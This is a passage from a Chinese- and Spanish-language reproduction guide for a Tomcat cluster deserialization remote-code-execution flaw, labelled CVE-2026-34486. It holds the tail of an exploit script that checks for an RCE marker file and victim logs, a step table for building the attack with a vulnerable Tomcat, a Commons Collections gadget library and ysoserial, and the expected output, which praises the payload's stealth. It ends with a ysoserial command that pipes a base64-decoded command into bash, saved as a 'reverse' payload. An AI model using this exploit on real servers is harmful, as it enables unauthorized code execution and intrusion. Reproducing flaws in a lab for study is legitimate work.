info "等待攻击生效 (5秒)..."
sleep 5
# ==================== 8. 验证结果 ====================
info "步骤 8/8: 验证漏洞触发..."
echo ""
echo "======================================================================"
echo -e "${RED} CVE-2026-34486 复现结果${NC}"
echo "======================================================================"
echo ""
# 检查 RCE 标志文件
if [ -f "$RCE_MARKER" ]; then
echo -e " ${GREEN}✅ RCE 成功!${NC} 标志文件已创建:"
echo ""
ls -la "$RCE_MARKER"
echo ""
else
echo -e " ${RED}❌ RCE 未触发${NC},标志文件 ${RCE_MARKER} 不存在"
echo ""
fi
# 检查受害者日志
echo " 受害者日志 (解密失败记录):"
echo " ----------------------------------------------------------------------"
grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 || echo " (未找到解密失败日志)"
echo ""
echo " 受害者日志 (EncryptInterceptor 启动确认):"
echo " ----------------------------------------------------------------------"
grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo " (未找到 EncryptInterceptor 日志)"
echo ""
echo " 受害者日志 (集群成员发现):"
echo " ----------------------------------------------------------------------"
grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo " (未找到集群成员日志)"
echo ""
# 检查是否有反序列化异常(不应该有)
if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then
echo -e " ${YELLOW}[!] 检测到反序列化异常日志(可能 gadget chain 不兼容)${NC}"
else
echo -e " ${GREEN}✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)${NC}"
fi
echo ""
echo "======================================================================"
echo ""
echo " 环境信息:"
echo " - 工作目录: ${WORKDIR}"
echo " - Node1: HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}"
echo " - Node2: HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}"
echo " - Tomcat 版本: ${TOMCAT_VERSION} (漏洞版本)"
echo " - RCE 标志: ${RCE_MARKER}"
echo ""
echo " 清理命令:"
echo " cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh"
echo " cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh"
echo " rm -f ${RCE_MARKER}"
echo " rm -rf ${WORKDIR}"
echo ""
echo "======================================================================"
Requisitos previos:
Forma de ejecución:```bash
chmod +x cve-2026-34486-repro.sh
sudo ./cve-2026-34486-repro.sh
**Flujo de ejecución del script**:
| Paso | Contenido | Descripción |
|------|-----------|-------------|
| 1 | Detectar e instalar dependencias | JDK 11, Python3, wget, etc. |
| 2 | Crear directorio de trabajo | `/opt/cve-2026-34486-lab` |
| 3 | Descargar Tomcat 9.0.116 | Versión vulnerable, descomprimir dos copias |
| 4 | Instalar biblioteca Gadget | Commons Collections 3.1 → lib/ |
| 5 | Descargar ysoserial | Herramienta de generación de payloads de deserialización |
| 6 | Configurar el clúster | server.xml + EncryptInterceptor + web.xml |
| 7 | Iniciar el clúster y atacar | Iniciar → generar payload CC6 → enviar con PoC de Python |
| 8 | Verificar resultados | Comprobar archivo de marca RCE + registros de la víctima |
**Salida esperada**:```
[*] 步骤 8/8: 验证漏洞触发...
======================================================================
CVE-2026-34486 复现结果
======================================================================
✅ RCE 成功! 标志文件已创建:
-rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED
受害者日志 (解密失败记录):
----------------------------------------------------------------------
SEVERE [Tribes-Task-Receiver...] EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16...
✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)
======================================================================
Comandos RCE personalizados:
Para modificar el comando de ataque, edite la variable RCE_MARKER en el script y el comando de generación de ysoserial, por ejemplo:```bash
java -jar ysoserial.jar CommonsCollections6
"bash -c {echo,BASE64_ENCODED_COMMAND}|{base64,-d}|bash" \
payload_reverse.bin